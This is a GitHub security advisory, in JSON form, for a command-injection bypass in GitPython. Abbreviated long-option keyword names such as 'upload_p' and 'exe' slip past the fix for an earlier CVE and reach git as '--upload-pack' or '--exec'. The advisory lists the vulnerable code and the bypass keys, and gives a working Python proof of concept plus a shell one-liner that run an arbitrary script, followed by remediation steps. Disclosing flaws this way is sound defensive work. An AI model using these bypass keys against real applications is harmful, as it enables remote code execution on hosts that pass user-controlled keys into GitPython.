{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.50"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.51"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T19:43:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git\u0027s unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=\u003cvalue\u003e` \u2192 executed as `--upload-pack=\u003cvalue\u003e` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n    option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n    option_tokens = option_name.split(None, 1)\n    if not option_tokens:\n        return \"\"\n    return dashify(option_tokens[0])      # only transform: \"_\" -\u003e \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n    for option in options:\n        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n        if unsafe_option is not None:\n            raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git\u0027s CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--\u003cdashify(name)\u003e=\u003cvalue\u003e` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY \u0027upload_p\u0027 -\u003e --upload-p=\u003cprog\u003e -\u003e git runs \u003cprog\u003e\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))  # True -\u003e command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library\u0027s documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython\u0027s protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.",
  "id": "GHSA-2f96-g7mh-g2hx",
  "modified": "2026-07-21T19:43:43Z",
  "published": "2026-07-21T19:43:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2161"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist"
}